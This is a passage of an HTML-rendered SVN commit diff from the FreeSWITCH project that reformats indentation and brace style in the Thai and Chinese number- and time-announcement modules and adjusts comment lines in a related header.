</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -334,7 +334,7 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_41 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -366,14 +366,14 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_45 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_46 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -400,7 +400,7 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_51 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -432,14 +432,14 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_55 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_56 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -466,7 +466,7 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_61 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -498,14 +498,14 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_65 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_66 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -532,7 +532,7 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_61 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -564,14 +564,14 @@
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//средний
</del><ins>+                                                                //средний
</ins><span class="cx"> #define m_65 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><del>-//женский
</del><ins>+                                                                //женский
</ins><span class="cx"> #define m_66 {\
</span><span class="cx">         {"","","","","","","",""},\
</span><span class="cx">         {"","","","","","","","","","","","","",""},\
</span><span class="lines">@@ -587,5 +587,3 @@
</span><span class="cx">         0,\
</span><span class="cx"> }\
</span><span class="cx">
</span><del>-
-
</del></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_thmod_say_thc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_th/mod_say_th.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_th/mod_say_th.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_th/mod_say_th.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -103,11 +103,11 @@
</span><span class="cx"> static char *strip_commas(char *in, char *out, switch_size_t len)
</span><span class="cx"> {
</span><span class="cx">         char *p = in;
</span><del>- char *q = out;
</del><ins>+        char *q = out;
</ins><span class="cx">         char *ret = out;
</span><span class="cx">         switch_size_t x = 0;
</span><span class="cx">
</span><del>-        for ( ; p && *p; p++) {
</del><ins>+        for (; p && *p; p++) {
</ins><span class="cx">                 if ((*p >= '0' && *p <= '9')) {
</span><span class="cx">                         *q++ = *p;
</span><span class="cx">                 } else if (*p != ',') {
</span><span class="lines">@@ -127,7 +127,7 @@
</span><span class="cx"> static char *strip_nonnumerics(char *in, char *out, switch_size_t len)
</span><span class="cx"> {
</span><span class="cx">         char *p = in;
</span><del>- char *q = out;
</del><ins>+        char *q = out;
</ins><span class="cx">         char *ret = out;
</span><span class="cx">         switch_size_t x = 0;
</span><span class="cx">
</span><span class="lines">@@ -151,8 +151,8 @@
</span><span class="cx"> {
</span><span class="cx">         int in;
</span><span class="cx">         char sbuf[13] = "";
</span><del>- char digits[11];
- int i;
</del><ins>+        char digits[11];
+        int i;
</ins><span class="cx">
</span><span class="cx">         if (!(tosay = strip_commas(tosay, sbuf, sizeof(sbuf))) || strlen(tosay) > 9) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parse Error!\n");
</span><span class="lines">@@ -163,123 +163,108 @@
</span><span class="cx">
</span><span class="cx">         if (in != 0) {
</span><span class="cx">                 snprintf(digits, sizeof(digits), "%10.10d", in);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Say: %s \n",digits);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Say: %s \n", digits);
</ins><span class="cx">                 switch (method) {
</span><span class="cx">                 case SSM_COUNTED:
</span><span class="cx">                         say_file("digits/ordinal.wav");
</span><span class="cx">                         /* Fall through */
</span><span class="cx">                 case SSM_PRONOUNCED:
</span><del>- for (i = 0; i <= 9; i++)
- {
- switch (i)
- {
- case 0:
- /* Billions column */
- if (digits[i] != '0')
- {
- if (digits[i] != '1')
-                 say_file("digits/%c.wav", digits[i]);
-                 say_file("digits/10.wav");
- }
- break;
- case 1:
- /* Hundred millions columns */
- if (digits[i] != '0')
-                 say_file("digits/%c.wav", digits[i]);
- if (memcmp (digits, "00", 2) != 0)
-                 say_file("digits/100000000.wav");
- break;
- case 2:
- /* ten Millions column */
- if (digits[i] != '0')
- {
-                 say_file("digits/%c.wav", digits[i]);
-                 say_file("digits/10000000.wav");
- }
- break;
- case 3:
- /* Millions column */
- if (digits[i] != '0')
- {
-                 say_file("digits/%c.wav", digits[i]);
-                 say_file("digits/1000000.wav");
- }
- break;
- case 4:
- /* Hundred thousands column */
- if (digits[i] != '0')
- {
-                 say_file("digits/%c.wav", digits[i]);
- if (memcmp (digits + 2, "00000", 4) != 0)
-                 say_file("digits/100000.wav");
- }
</del><ins>+                        for (i = 0; i <= 9; i++) {
+                                switch (i) {
+                                case 0:
+                                        /* Billions column */
+                                        if (digits[i] != '0') {
+                                                if (digits[i] != '1')
+                                                        say_file("digits/%c.wav", digits[i]);
+                                                say_file("digits/10.wav");
+                                        }
+                                        break;
+                                case 1:
+                                        /* Hundred millions columns */
+                                        if (digits[i] != '0')
+                                                say_file("digits/%c.wav", digits[i]);
+                                        if (memcmp(digits, "00", 2) != 0)
+                                                say_file("digits/100000000.wav");
+                                        break;
+                                case 2:
+                                        /* ten Millions column */
+                                        if (digits[i] != '0') {
+                                                say_file("digits/%c.wav", digits[i]);
+                                                say_file("digits/10000000.wav");
+                                        }
+                                        break;
+                                case 3:
+                                        /* Millions column */
+                                        if (digits[i] != '0') {
+                                                say_file("digits/%c.wav", digits[i]);
+                                                say_file("digits/1000000.wav");
+                                        }
+                                        break;
+                                case 4:
+                                        /* Hundred thousands column */
+                                        if (digits[i] != '0') {
+                                                say_file("digits/%c.wav", digits[i]);
+                                                if (memcmp(digits + 2, "00000", 4) != 0)
+                                                        say_file("digits/100000.wav");
+                                        }
</ins><span class="cx">
</span><del>- break;
-
- case 5:
- /* Ten thousands column */
- if (digits[i] != '0')
- {
-                 say_file("digits/%c.wav", digits[i]);
- if (memcmp (digits + 2, "0000", 4) != 0)
-                 say_file("digits/10000.wav");
- }
- break;
- case 6:
- /* Ten millions or thousands column */
- if (digits[i] != '0')
- {
-                 say_file("digits/%c.wav", digits[i]);
-                 say_file("digits/1000.wav");
- }
- break;
- case 7:
- /* hundreds column */
- if (digits[i] != '0')
- {
-                 say_file("digits/%c.wav", digits[i]);
-                 say_file("digits/100.wav");
- }
- break;
- case 8:
- /* Tens column */
- if (digits[i] != '0')
- {
- if (digits[i] == '2')
- {
-                 say_file("digits/20.wav");
-                                break;
- }
- if (digits[i] == '1')
- {
-                 say_file("digits/10.wav");
-                                break;
- }
- if (digits[i] != '1'
- ||
- memcmp (digits, "00000000", 8) != 0)
- {
-                 say_file("digits/%c.wav", digits[i]);
- }
- }
- if (digits[8] != '0')
-                 say_file("digits/10.wav");
- break;
- case 9:
- /* Units column */
- if (digits[9] == '1'){
-          if (digits[8] != '0'){
-                 say_file("digits/ed.wav", digits[i]);
-                         }else{        
-                 say_file("digits/%c.wav", digits[i]);
-                         }        
-          break;
-                 }
- if (digits[9] != '0')
-                 say_file("digits/%c.wav", digits[i]);
- break;
- }
- }
</del><ins>+                                        break;
+
+                                case 5:
+                                        /* Ten thousands column */
+                                        if (digits[i] != '0') {
+                                                say_file("digits/%c.wav", digits[i]);
+                                                if (memcmp(digits + 2, "0000", 4) != 0)
+                                                        say_file("digits/10000.wav");
+                                        }
+                                        break;
+                                case 6:
+                                        /* Ten millions or thousands column */
+                                        if (digits[i] != '0') {
+                                                say_file("digits/%c.wav", digits[i]);
+                                                say_file("digits/1000.wav");
+                                        }
+                                        break;
+                                case 7:
+                                        /* hundreds column */
+                                        if (digits[i] != '0') {
+                                                say_file("digits/%c.wav", digits[i]);
+                                                say_file("digits/100.wav");
+                                        }
+                                        break;
+                                case 8:
+                                        /* Tens column */
+                                        if (digits[i] != '0') {
+                                                if (digits[i] == '2') {
+                                                        say_file("digits/20.wav");
+                                                        break;
+                                                }
+                                                if (digits[i] == '1') {
+                                                        say_file("digits/10.wav");
+                                                        break;
+                                                }
+                                                if (digits[i] != '1' || memcmp(digits, "00000000", 8) != 0) {
+                                                        say_file("digits/%c.wav", digits[i]);
+                                                }
+                                        }
+                                        if (digits[8] != '0')
+                                                say_file("digits/10.wav");
+                                        break;
+                                case 9:
+                                        /* Units column */
+                                        if (digits[9] == '1') {
+                                                if (digits[8] != '0') {
+                                                        say_file("digits/ed.wav", digits[i]);
+                                                } else {
+                                                        say_file("digits/%c.wav", digits[i]);
+                                                }
+                                                break;
+                                        }
+                                        if (digits[9] != '0')
+                                                say_file("digits/%c.wav", digits[i]);
+                                        break;
+                                }
+                        }
</ins><span class="cx">                         break;
</span><span class="cx">                 case SSM_ITERATED:
</span><span class="cx">                         {
</span><span class="lines">@@ -338,10 +323,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t th_say_time(switch_core_session_t *session,
</span><del>-                                                                 char *tosay,
-                                                                 switch_say_type_t type,
-                                                                 switch_say_method_t method,
-                                                                 switch_input_args_t *args)
</del><ins>+                                                                 char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
</ins><span class="cx"> {
</span><span class="cx">         int32_t t;
</span><span class="cx">         switch_time_t target = 0;
</span><span class="lines">@@ -351,7 +333,7 @@
</span><span class="cx">         switch_time_exp_t tm2;
</span><span class="cx"> #endif
</span><span class="cx">         uint8_t say_date = 0;
</span><del>- uint8_t say_time = 0;
</del><ins>+        uint8_t say_time = 0;
</ins><span class="cx">
</span><span class="cx">         if (type == SST_TIME_MEASUREMENT) {
</span><span class="cx">                 int64_t hours = 0;
</span><span class="lines">@@ -397,16 +379,16 @@
</span><span class="cx">                 if (hours) {
</span><span class="cx">                         if (hours == 2) {
</span><span class="cx">                                 say_file("time/2s.wav");
</span><del>-                         } else {
-                         say_num(hours, SSM_PRONOUNCED);
</del><ins>+                        } else {
+                                say_num(hours, SSM_PRONOUNCED);
</ins><span class="cx">                         }
</span><span class="cx">                         say_file("time/hours.wav");
</span><span class="cx">                 }
</span><span class="cx">                 if (minutes) {
</span><span class="cx">                         if (minutes == 2) {
</span><span class="cx">                                 say_file("time/2s.wav");
</span><del>-                         } else {
-                         say_num(minutes, SSM_PRONOUNCED);
</del><ins>+                        } else {
+                                say_num(minutes, SSM_PRONOUNCED);
</ins><span class="cx">                         }
</span><span class="cx">                         say_file("time/minute.wav");
</span><span class="cx">                 } else {
</span><span class="lines">@@ -419,12 +401,12 @@
</span><span class="cx">                 if (seconds) {
</span><span class="cx">                         if (seconds == 2) {
</span><span class="cx">                                 say_file("time/2s.wav");
</span><del>-                         } else {
-                         say_num(hours, SSM_PRONOUNCED);
</del><ins>+                        } else {
+                                say_num(hours, SSM_PRONOUNCED);
</ins><span class="cx">                         }
</span><span class="cx">                         say_file("time/seconds.wav");
</span><span class="cx">                 } else {
</span><del>-                        if (hours || minutes) {
</del><ins>+                        if (hours || minutes) {
</ins><span class="cx">                                 say_file("digits/0.wav");
</span><span class="cx">                                 say_file("time/second.wav");
</span><span class="cx">                         }
</span><span class="lines">@@ -441,8 +423,7 @@
</span><span class="cx">
</span><span class="cx">         switch (type) {
</span><span class="cx">         case SST_CURRENT_DATE_TIME:
</span><del>-                say_date =
-                say_time = 1;
</del><ins>+                say_date = say_time = 1;
</ins><span class="cx">                 break;
</span><span class="cx">         case SST_CURRENT_DATE:
</span><span class="cx">                 say_date = 1;
</span><span class="lines">@@ -455,7 +436,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (say_date) {
</span><del>- say_num(tm.tm_year + 1900, SSM_ITERATED);
</del><ins>+                say_num(tm.tm_year + 1900, SSM_ITERATED);
</ins><span class="cx">                 say_file("time/year.wav");
</span><span class="cx">                 say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
</span><span class="cx">                 say_file("time/month.wav");
</span><span class="lines">@@ -464,52 +445,39 @@
</span><span class="cx">                 say_file("time/day-%d.wav", tm.tm_wday);
</span><span class="cx">
</span><span class="cx"> #if 0
</span><del>- tm = *localtime(&then);
</del><ins>+                tm = *localtime(&then);
</ins><span class="cx">
</span><del>- this_morning = switch_micro_time_now();
-         switch_time_exp_lt(&tm2, this_morning);
- tm2->tm_hour = 0;
- tm2->tm_min = 0;
- tm2->tm_sec = 0;
- this_morning = mktime(tm2);
</del><ins>+                this_morning = switch_micro_time_now();
+                switch_time_exp_lt(&tm2, this_morning);
+                tm2->tm_hour = 0;
+                tm2->tm_min = 0;
+                tm2->tm_sec = 0;
+                this_morning = mktime(tm2);
</ins><span class="cx">
</span><del>- if (this_morning <= then && then < (this_morning + 86400L))
- {
</del><ins>+                if (this_morning <= then && then < (this_morning + 86400L)) {
</ins><span class="cx">                         say_file("time/today.wav");
</span><del>- }
- else if ((this_morning - 86400L) <= then && then < this_morning)
- {
</del><ins>+                } else if ((this_morning - 86400L) <= then && then < this_morning) {
</ins><span class="cx">                         say_file("time/yesterday.wav");
</span><del>- }
- else if ((this_morning + 86400L) <= then && then < (this_morning + 2*86400L))
- {
</del><ins>+                } else if ((this_morning + 86400L) <= then && then < (this_morning + 2 * 86400L)) {
</ins><span class="cx">                         say_file("time/tomorrow.wav");
</span><del>- }
- else if ((this_morning - 7*86400L) <= then && then < this_morning)
- {
-                 say_file("time/day-%d.wav", tm.tm_wday);
- }
- else
- {
- if (tm2->tm_year != tm.tm_year)
- {
- say_num(tm.tm_year + 1900, SSM_ITERATED);
-                 say_file("time/year.wav");
- }
- /*endif*/
- if (tm2->tm_year != tm.tm_year
- ||
- tm2->tm_mon != tm.tm_mon)
- {
-                 say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
-                 say_file("time/month.wav");
- }
- /*endif*/
- /* Always say the day and the day of the week */
-                 say_num(tm.tm_mday, SSM_PRONOUNCED);
-                 say_file("time/day.wav");
-                 say_file("time/day-%d.wav", tm.tm_wday);
- }
</del><ins>+                } else if ((this_morning - 7 * 86400L) <= then && then < this_morning) {
+                        say_file("time/day-%d.wav", tm.tm_wday);
+                } else {
+                        if (tm2->tm_year != tm.tm_year) {
+                                say_num(tm.tm_year + 1900, SSM_ITERATED);
+                                say_file("time/year.wav");
+                        }
+                        /*endif */
+                        if (tm2->tm_year != tm.tm_year || tm2->tm_mon != tm.tm_mon) {
+                                say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
+                                say_file("time/month.wav");
+                        }
+                        /*endif */
+                        /* Always say the day and the day of the week */
+                        say_num(tm.tm_mday, SSM_PRONOUNCED);
+                        say_file("time/day.wav");
+                        say_file("time/day-%d.wav", tm.tm_wday);
+                }
</ins><span class="cx"> #endif
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -517,13 +485,13 @@
</span><span class="cx">                 int32_t hour = tm.tm_hour;
</span><span class="cx">
</span><span class="cx">                 if (hour < 6) {
</span><del>- say_file("time/morning.wav");
</del><ins>+                        say_file("time/morning.wav");
</ins><span class="cx">                 } else if (hour < 12) {
</span><del>- say_file("time/am.wav");
</del><ins>+                        say_file("time/am.wav");
</ins><span class="cx">                 } else if (tm.tm_hour < 18) {
</span><del>- say_file("time/pm.wav");
</del><ins>+                        say_file("time/pm.wav");
</ins><span class="cx">                 } else {
</span><del>- say_file("time/evening.wav");
</del><ins>+                        say_file("time/evening.wav");
</ins><span class="cx">                 }
</span><span class="cx">                 if (hour > 12)
</span><span class="cx">                         hour -= 12;
</span><span class="lines">@@ -541,7 +509,7 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         say_num(tm.tm_min, SSM_PRONOUNCED);
</span><span class="cx">                 }
</span><del>-                say_file("time/minute.wav");
</del><ins>+                say_file("time/minute.wav");
</ins><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_zhmod_say_zhc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_zh/mod_say_zh.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_zh/mod_say_zh.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_zh/mod_say_zh.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -103,11 +103,11 @@
</span><span class="cx"> static char *strip_commas(char *in, char *out, switch_size_t len)
</span><span class="cx"> {
</span><span class="cx">         char *p = in;
</span><del>- char *q = out;
</del><ins>+        char *q = out;
</ins><span class="cx">         char *ret = out;
</span><span class="cx">         switch_size_t x = 0;
</span><span class="cx">
</span><del>-        for ( ; p && *p; p++) {
</del><ins>+        for (; p && *p; p++) {
</ins><span class="cx">                 if ((*p >= '0' && *p <= '9')) {
</span><span class="cx">                         *q++ = *p;
</span><span class="cx">                 } else if (*p != ',') {
</span><span class="lines">@@ -127,7 +127,7 @@
</span><span class="cx"> static char *strip_nonnumerics(char *in, char *out, switch_size_t len)
</span><span class="cx"> {
</span><span class="cx">         char *p = in;
</span><del>- char *q = out;
</del><ins>+        char *q = out;
</ins><span class="cx">         char *ret = out;
</span><span class="cx">         switch_size_t x = 0;
</span><span class="cx">
</span><span class="lines">@@ -151,8 +151,8 @@
</span><span class="cx"> {
</span><span class="cx">         int in;
</span><span class="cx">         char sbuf[13] = "";
</span><del>- char digits[11];
- int i;
</del><ins>+        char digits[11];
+        int i;
</ins><span class="cx">
</span><span class="cx">         if (!(tosay = strip_commas(tosay, sbuf, sizeof(sbuf))) || strlen(tosay) > 9) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parse Error!\n");
</span><span class="lines">@@ -168,107 +168,83 @@
</span><span class="cx">                         say_file("digits/ordinal.wav");
</span><span class="cx">                         /* Fall through */
</span><span class="cx">                 case SSM_PRONOUNCED:
</span><del>- for (i = 0; i <= 9; i++)
- {
- switch (i)
- {
- case 0:
- /* Billions column */
- if (digits[i] != '0')
- {
- if (digits[i] != '1')
-                 say_file("digits/%c.wav", digits[i]);
-                 say_file("digits/10.wav");
- }
- break;
- case 1:
- /* Hundred millions columns */
- if (digits[i] != '0')
-                 say_file("digits/%c.wav", digits[i]);
- if (memcmp (digits, "00", 2) != 0)
-                 say_file("digits/100000000.wav");
- break;
- case 2:
- case 6:
- /* Ten millions or thousands column */
- if (digits[i] != '0')
- {
-                 say_file("digits/%c.wav", digits[i]);
-                 say_file("digits/1000.wav");
- }
- break;
- case 3:
- case 7:
- /* Millions or hundreds column */
- if (digits[i] != '0')
- {
-                 say_file("digits/%c.wav", digits[i]);
-                 say_file("digits/100.wav");
- }
- break;
- case 4:
- /* Hundred thousands column */
- if (digits[i] != '0')
- {
- if (digits[i] != '1'
- ||
- memcmp (digits, "0000", 4) != 0)
- {
-                 say_file("digits/%c.wav", digits[i]);
- }
- }
- else
- {
- if (digits[i + 1] != '0'
- &&
- memcmp (digits, "0000", 4) != 0)
- {
-                 say_file("digits/%c.wav", digits[i]);
- }
- }
- if (digits[i] != '0')
-                 say_file("digits/10.wav");
- break;
-
- case 5:
- /* Ten thousands column */
- if (digits[i] != '0')
- {
-                 say_file("digits/%c.wav", digits[i]);
- if (memcmp (digits + 2, "0000", 4) != 0)
-                 say_file("digits/10000.wav");
- }
- break;
- case 8:
- /* Tens column */
- if (digits[i] != '0')
- {
- if (digits[i] != '1'
- ||
- memcmp (digits, "00000000", 8) != 0)
- {
-                 say_file("digits/%c.wav", digits[i]);
- }
- }
- else
- {
- if (digits[9] != '0'
- &&
- memcmp (digits, "00000000", 8) != 0)
- {
-                 say_file("digits/%c.wav", digits[i]);
- }
- }
- if (digits[8] != '0')
-                 say_file("digits/10.wav");
- break;
- case 9:
- /* Units column */
- if (digits[9] != '0')
-                 say_file("digits/%c.wav", digits[i]);
- break;
- }
- }
</del><ins>+                        for (i = 0; i <= 9; i++) {
+                                switch (i) {
+                                case 0:
+                                        /* Billions column */
+                                        if (digits[i] != '0') {
+                                                if (digits[i] != '1')
+                                                        say_file("digits/%c.wav", digits[i]);
+                                                say_file("digits/10.wav");
+                                        }
+                                        break;
+                                case 1:
+                                        /* Hundred millions columns */
+                                        if (digits[i] != '0')
+                                                say_file("digits/%c.wav", digits[i]);
+                                        if (memcmp(digits, "00", 2) != 0)
+                                                say_file("digits/100000000.wav");
+                                        break;
+                                case 2:
+                                case 6:
+                                        /* Ten millions or thousands column */
+                                        if (digits[i] != '0') {
+                                                say_file("digits/%c.wav", digits[i]);
+                                                say_file("digits/1000.wav");
+                                        }
+                                        break;
+                                case 3:
+                                case 7:
+                                        /* Millions or hundreds column */
+                                        if (digits[i] != '0') {
+                                                say_file("digits/%c.wav", digits[i]);
+                                                say_file("digits/100.wav");
+                                        }
+                                        break;
+                                case 4:
+                                        /* Hundred thousands column */
+                                        if (digits[i] != '0') {
+                                                if (digits[i] != '1' || memcmp(digits, "0000", 4) != 0) {
+                                                        say_file("digits/%c.wav", digits[i]);
+                                                }
+                                        } else {
+                                                if (digits[i + 1] != '0' && memcmp(digits, "0000", 4) != 0) {
+                                                        say_file("digits/%c.wav", digits[i]);
+                                                }
+                                        }
+                                        if (digits[i] != '0')
+                                                say_file("digits/10.wav");
+                                        break;
+
+                                case 5:
+                                        /* Ten thousands column */
+                                        if (digits[i] != '0') {
+                                                say_file("digits/%c.wav", digits[i]);
+                                                if (memcmp(digits + 2, "0000", 4) != 0)
+                                                        say_file("digits/10000.wav");
+                                        }
+                                        break;
+                                case 8:
+                                        /* Tens column */
+                                        if (digits[i] != '0') {
+                                                if (digits[i] != '1' || memcmp(digits, "00000000", 8) != 0) {
+                                                        say_file("digits/%c.wav", digits[i]);
+                                                }
+                                        } else {
+                                                if (digits[9] != '0' && memcmp(digits, "00000000", 8) != 0) {
+                                                        say_file("digits/%c.wav", digits[i]);
+                                                }
+                                        }
+                                        if (digits[8] != '0')
+                                                say_file("digits/10.wav");
+                                        break;
+                                case 9:
+                                        /* Units column */
+                                        if (digits[9] != '0')
+                                                say_file("digits/%c.wav", digits[i]);
+                                        break;
+                                }
+                        }
</ins><span class="cx">                         break;
</span><span class="cx">                 case SSM_ITERATED:
</span><span class="cx">                         {
</span><span class="lines">@@ -327,10 +303,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t zh_say_time(switch_core_session_t *session,
</span><del>-                                                                 char *tosay,
-                                                                 switch_say_type_t type,
-                                                                 switch_say_method_t method,
-                                                                 switch_input_args_t *args)
</del><ins>+                                                                 char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
</ins><span class="cx"> {
</span><span class="cx">         int32_t t;
</span><span class="cx">         switch_time_t target = 0;
</span><span class="lines">@@ -340,7 +313,7 @@
</span><span class="cx">         switch_time_exp_t tm2;
</span><span class="cx"> #endif
</span><span class="cx">         uint8_t say_date = 0;
</span><del>- uint8_t say_time = 0;
</del><ins>+        uint8_t say_time = 0;
</ins><span class="cx">
</span><span class="cx">         if (type == SST_TIME_MEASUREMENT) {
</span><span class="cx">                 int64_t hours = 0;
</span><span class="lines">@@ -386,16 +359,16 @@
</span><span class="cx">                 if (hours) {
</span><span class="cx">                         if (hours == 2) {
</span><span class="cx">                                 say_file("time/2s.wav");
</span><del>-                         } else {
-                         say_num(hours, SSM_PRONOUNCED);
</del><ins>+                        } else {
+                                say_num(hours, SSM_PRONOUNCED);
</ins><span class="cx">                         }
</span><span class="cx">                         say_file("time/hours.wav");
</span><span class="cx">                 }
</span><span class="cx">                 if (minutes) {
</span><span class="cx">                         if (minutes == 2) {
</span><span class="cx">                                 say_file("time/2s.wav");
</span><del>-                         } else {
-                         say_num(minutes, SSM_PRONOUNCED);
</del><ins>+                        } else {
+                                say_num(minutes, SSM_PRONOUNCED);
</ins><span class="cx">                         }
</span><span class="cx">                         say_file("time/minute.wav");
</span><span class="cx">                 } else {
</span><span class="lines">@@ -408,12 +381,12 @@
</span><span class="cx">                 if (seconds) {
</span><span class="cx">                         if (seconds == 2) {
</span><span class="cx">                                 say_file("time/2s.wav");
</span><del>-                         } else {
-                         say_num(hours, SSM_PRONOUNCED);
</del><ins>+                        } else {
+                                say_num(hours, SSM_PRONOUNCED);
</ins><span class="cx">                         }
</span><span class="cx">                         say_file("time/seconds.wav");
</span><span class="cx">                 } else {
</span><del>-                        if (hours || minutes) {
</del><ins>+                        if (hours || minutes) {
</ins><span class="cx">                                 say_file("digits/0.wav");
</span><span class="cx">                                 say_file("time/second.wav");
</span><span class="cx">                         }
</span><span class="lines">@@ -430,8 +403,7 @@
</span><span class="cx">
</span><span class="cx">         switch (type) {
</span><span class="cx">         case SST_CURRENT_DATE_TIME:
</span><del>-                say_date =
-                say_time = 1;
</del><ins>+                say_date = say_time = 1;
</ins><span class="cx">                 break;
</span><span class="cx">         case SST_CURRENT_DATE:
</span><span class="cx">                 say_date = 1;
</span><span class="lines">@@ -444,7 +416,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (say_date) {
</span><del>- say_num(tm.tm_year + 1900, SSM_ITERATED);
</del><ins>+                say_num(tm.tm_year + 1900, SSM_ITERATED);
</ins><span class="cx">                 say_file("time/year.wav");
</span><span class="cx">                 say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
</span><span class="cx">                 say_file("time/month.wav");
</span><span class="lines">@@ -453,52 +425,39 @@
</span><span class="cx">                 say_file("time/day-%d.wav", tm.tm_wday);
</span><span class="cx">
</span><span class="cx"> #if 0
</span><del>- tm = *localtime(&then);
</del><ins>+                tm = *localtime(&then);
</ins><span class="cx">
</span><del>- this_morning = switch_micro_time_now();
-         switch_time_exp_lt(&tm2, this_morning);
- tm2->tm_hour = 0;
- tm2->tm_min = 0;
- tm2->tm_sec = 0;
- this_morning = mktime(tm2);
</del><ins>+                this_morning = switch_micro_time_now();
+                switch_time_exp_lt(&tm2, this_morning);
+                tm2->tm_hour = 0;
+                tm2->tm_min = 0;
+                tm2->tm_sec = 0;
+                this_morning = mktime(tm2);
</ins><span class="cx">
</span><del>- if (this_morning <= then && then < (this_morning + 86400L))
- {
</del><ins>+                if (this_morning <= then && then < (this_morning + 86400L)) {
</ins><span class="cx">                         say_file("time/today.wav");
</span><del>- }
- else if ((this_morning - 86400L) <= then && then < this_morning)
- {
</del><ins>+                } else if ((this_morning - 86400L) <= then && then < this_morning) {
</ins><span class="cx">                         say_file("time/yesterday.wav");
</span><del>- }
- else if ((this_morning + 86400L) <= then && then < (this_morning + 2*86400L))
- {
</del><ins>+                } else if ((this_morning + 86400L) <= then && then < (this_morning + 2 * 86400L)) {
